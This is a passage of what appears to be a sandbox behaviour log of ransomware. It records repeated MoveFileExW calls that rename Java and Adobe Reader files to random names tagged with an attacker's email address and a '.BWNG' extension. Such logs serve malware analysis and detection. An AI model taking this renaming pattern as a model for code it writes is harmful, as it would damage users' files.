10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\[billwong73@yahoo.com].EIaKIS0R-uLmp5mkR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\[billwong73@yahoo.com].eiakis0r-ulmp5mkr.bwng"), dwFlags=0x1) returned 1 [0117.827] GetTickCount () returned 0x116513c [0117.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977973020) returned 1 [0117.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\New_York" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\new_york"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].P7SPKj71-dgrHJwrZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].p7spkj71-dgrhjwrz.bwng"), dwFlags=0x1) returned 1 [0117.829] GetTickCount () returned 0x116513c [0117.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978110106) returned 1 [0117.829] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Paramaribo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\paramaribo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].fxG9yjkQ-NQfHMGhp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].fxg9yjkq-nqfhmghp.bwng"), dwFlags=0x1) returned 1 [0117.830] GetTickCount () returned 0x116513c [0117.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978249049) returned 1 [0117.830] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Andorra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\andorra"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].DWiC2RDi-sCynnEkh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].dwic2rdi-scynnekh.bwng"), dwFlags=0x1) returned 1 [0117.832] GetTickCount () returned 0x116513c [0117.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978384880) returned 1 [0117.832] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\pst8"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].4U0ryHLx-CCvj6sMu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].4u0ryhlx-ccvj6smu.bwng"), dwFlags=0x1) returned 1 [0117.833] GetTickCount () returned 0x116513c [0117.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978513045) returned 1 [0117.833] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Gibraltar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\gibraltar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].BwFRuzaS-eESO2Q8N.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].bwfruzas-eeso2q8n.bwng"), dwFlags=0x1) returned 1 [0117.834] GetTickCount () returned 0x116513c [0117.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978646896) returned 1 [0117.834] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\minsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].mNcb6zcq-jPxLnPCr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].mncb6zcq-jpxlnpcr.bwng"), dwFlags=0x1) returned 1 [0117.837] GetTickCount () returned 0x116513c [0117.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25978899397) returned 1 [0117.837] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javacpl.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javacpl.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].TVnDMkVu-s6Uie3DO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].tvndmkvu-s6uie3do.bwng"), dwFlags=0x1) returned 1 [0117.838] GetTickCount () returned 0x116513c [0117.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25979032650) returned 1 [0117.838] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\sofia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].QJewcpFx-eF6ARPPd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].qjewcpfx-ef6arppd.bwng"), dwFlags=0x1) returned 1 [0117.839] GetTickCount () returned 0x116513c [0117.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25979164111) returned 1 [0117.840] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\[billwong73@yahoo.com].ZQoMy4Um-PEm5ukh4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\[billwong73@yahoo.com].zqomy4um-pem5ukh4.bwng"), dwFlags=0x1) returned 1 [0117.841] GetTickCount () returned 0x116513c [0117.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25979313369) returned 1 [0117.841] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jabswitch.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jabswitch.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].J10xnOb0-Q9uqF1VN.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].j10xnob0-q9uqf1vn.bwng"), dwFlags=0x1) returned 1 [0117.842] GetTickCount () returned 0x116513c [0117.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25979465829) returned 1 [0117.843] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_tw.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].QzdsXSRG-CwMKlu4X.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].qzdsxsrg-cwmklu4x.bwng"), dwFlags=0x1) returned 1 [0117.938] GetTickCount () returned 0x11651a9 [0117.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25989022927) returned 1 [0117.938] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kaliningrad"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].92db40KX-1QOfKxjy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].92db40kx-1qofkxjy.bwng"), dwFlags=0x1) returned 1 [0117.940] GetTickCount () returned 0x11651a9 [0117.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25989184174) returned 1 [0117.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\resolute"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].7Pzq8RE7-Mn8IE6nx.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].7pzq8re7-mn8ie6nx.bwng"), dwFlags=0x1) returned 1 [0117.944] GetTickCount () returned 0x11651a9 [0117.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25989661629) returned 1 [0117.945] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Kitts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_kitts"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].sEpdKtCK-01zL0FOA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].sepdktck-01zl0foa.bwng"), dwFlags=0x1) returned 1 [0117.946] GetTickCount () returned 0x11651a9 [0117.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25989813195) returned 1 [0117.946] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tortola" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\tortola"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].fJXX8GnQ-PSoqV0jD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].fjxx8gnq-psoqv0jd.bwng"), dwFlags=0x1) returned 1 [0117.947] GetTickCount () returned 0x11651a9 [0117.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990088015) returned 1 [0117.949] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Zaporozhye" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\zaporozhye"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].2z8Y3ZGb-IMBmHZvF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].2z8y3zgb-imbmhzvf.bwng"), dwFlags=0x1) returned 1 [0117.950] GetTickCount () returned 0x11651a9 [0117.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990228564) returned 1 [0117.950] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mahe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mahe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].3TP9y9Rc-LMc8flG1.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].3tp9y9rc-lmc8flg1.bwng"), dwFlags=0x1) returned 1 [0117.951] GetTickCount () returned 0x11651a9 [0117.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990368551) returned 1 [0117.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\[billwong73@yahoo.com].AbjQ3fG4-G6Amyg7H.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\[billwong73@yahoo.com].abjq3fg4-g6amyg7h.bwng"), dwFlags=0x1) returned 1 [0117.953] GetTickCount () returned 0x11651b9 [0117.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990524734) returned 1 [0117.953] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mawson"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].eFMERol6-X45FsYs4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].efmerol6-x45fsys4.bwng"), dwFlags=0x1) returned 1 [0117.954] GetTickCount () returned 0x11651b9 [0117.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990658210) returned 1 [0117.955] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\aqtau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].vBwzmB2s-3xzpdE54.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].vbwzmb2s-3xzpde54.bwng"), dwFlags=0x1) returned 1 [0117.956] GetTickCount () returned 0x11651b9 [0117.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990809485) returned 1 [0117.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Choibalsan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\choibalsan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].QwIyleWx-YcyGyB2M.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].qwiylewx-ycygyb2m.bwng"), dwFlags=0x1) returned 1 [0117.957] GetTickCount () returned 0x11651b9 [0117.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25990949392) returned 1 [0117.957] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\klist.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\klist.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].DlEgh7cc-RIAt3HQ7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].dlegh7cc-riat3hq7.bwng"), dwFlags=0x1) returned 1 [0117.959] GetTickCount () returned 0x11651b9 [0117.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991077283) returned 1 [0117.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].zipu9yKi-U6JSIgfb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].zipu9yki-u6jsigfb.bwng"), dwFlags=0x1) returned 1 [0117.960] GetTickCount () returned 0x11651b9 [0117.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991207174) returned 1 [0117.960] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\oslo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].XxbZ5qGt-VrB9Keva.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].xxbz5qgt-vrb9keva.bwng"), dwFlags=0x1) returned 1 [0117.961] GetTickCount () returned 0x11651b9 [0117.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991341561) returned 1 [0117.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hebron" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\hebron"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].LSnU5LRM-4Nhpa7NE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].lsnu5lrm-4nhpa7ne.bwng"), dwFlags=0x1) returned 1 [0117.962] GetTickCount () returned 0x11651b9 [0117.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991475080) returned 1 [0117.963] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Karachi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\karachi"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].zSTrhr5v-6RuhRJiX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].zstrhr5v-6ruhrjix.bwng"), dwFlags=0x1) returned 1 [0117.964] GetTickCount () returned 0x11651b9 [0117.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991604740) returned 1 [0117.964] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\[billwong73@yahoo.com].ldN7S5YG-iUWrUMVT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\[billwong73@yahoo.com].ldn7s5yg-iuwrumvt.bwng"), dwFlags=0x1) returned 1 [0117.965] GetTickCount () returned 0x11651b9 [0117.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991752739) returned 1 [0117.966] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chatham" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\chatham"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].LwoaBNsf-GDjAKJ9o.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].lwoabnsf-gdjakj9o.bwng"), dwFlags=0x1) returned 1 [0117.967] GetTickCount () returned 0x11651b9 [0117.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25991895545) returned 1 [0117.967] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\guadalcanal"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].LqdZbEen-ZCuW2R5v.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].lqdzbeen-zcuw2r5v.bwng"), dwFlags=0x1) returned 1 [0117.968] GetTickCount () returned 0x11651c9 [0117.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992054792) returned 1 [0117.969] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Nauru" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\nauru"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].YRtVfb90-Mw2sV2Ba.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].yrtvfb90-mw2sv2ba.bwng"), dwFlags=0x1) returned 1 [0117.970] GetTickCount () returned 0x11651c9 [0117.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992195718) returned 1 [0117.970] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\saipan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].8nfQlCtX-myQP3Pr3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].8nfqlctx-myqp3pr3.bwng"), dwFlags=0x1) returned 1 [0117.971] GetTickCount () returned 0x11651c9 [0117.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992347155) returned 1 [0117.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\pack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\pack200.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].oagpK0dY-UVItgQPF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].oagpk0dy-uvitgqpf.bwng"), dwFlags=0x1) returned 1 [0117.973] GetTickCount () returned 0x11651c9 [0117.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992486789) returned 1 [0117.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\cst6cdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].cryPkkVu-ZsiO9KCU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].crypkkvu-zsio9kcu.bwng"), dwFlags=0x1) returned 1 [0117.974] GetTickCount () returned 0x11651c9 [0117.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992629466) returned 1 [0117.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\wet"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].vMvq4LAt-K1b3a1sL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].vmvq4lat-k1b3a1sl.bwng"), dwFlags=0x1) returned 1 [0117.975] GetTickCount () returned 0x11651c9 [0117.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992756756) returned 1 [0117.976] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\magadan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].v5V7mMLt-wBiJqN0J.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].v5v7mmlt-wbijqn0j.bwng"), dwFlags=0x1) returned 1 [0117.977] GetTickCount () returned 0x11651c9 [0117.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25992908532) returned 1 [0117.977] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pontianak" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\pontianak"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].tK9bTdno-WvICaISL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].tk9btdno-wvicaisl.bwng"), dwFlags=0x1) returned 1 [0117.978] GetTickCount () returned 0x11651c9 [0117.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25993039547) returned 1 [0117.978] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\unpack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\unpack200.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].54JlDfCe-koxXmRHC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].54jldfce-koxxmrhc.bwng"), dwFlags=0x1) returned 1 [0117.979] GetTickCount () returned 0x11651c9 [0117.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25993175683) returned 1 [0117.980] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Samarkand" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\samarkand"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].FJSIEjbU-5pGei0U3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].fjsiejbu-5pgei0u3.bwng"), dwFlags=0x1) returned 1 [0117.981] GetTickCount () returned 0x11651c9 [0117.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25993313706) returned 1 [0117.981] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ulaanbaatar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].08rSrA6V-UF1d8k7B.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].08rsra6v-uf1d8k7b.bwng"), dwFlags=0x1) returned 1 [0117.982] GetTickCount () returned 0x11651c9 [0117.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25993444785) returned 1 [0117.982] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].Nq373Lzf-6ywNxLIz.BWNG" (normalized: "c:\\program files 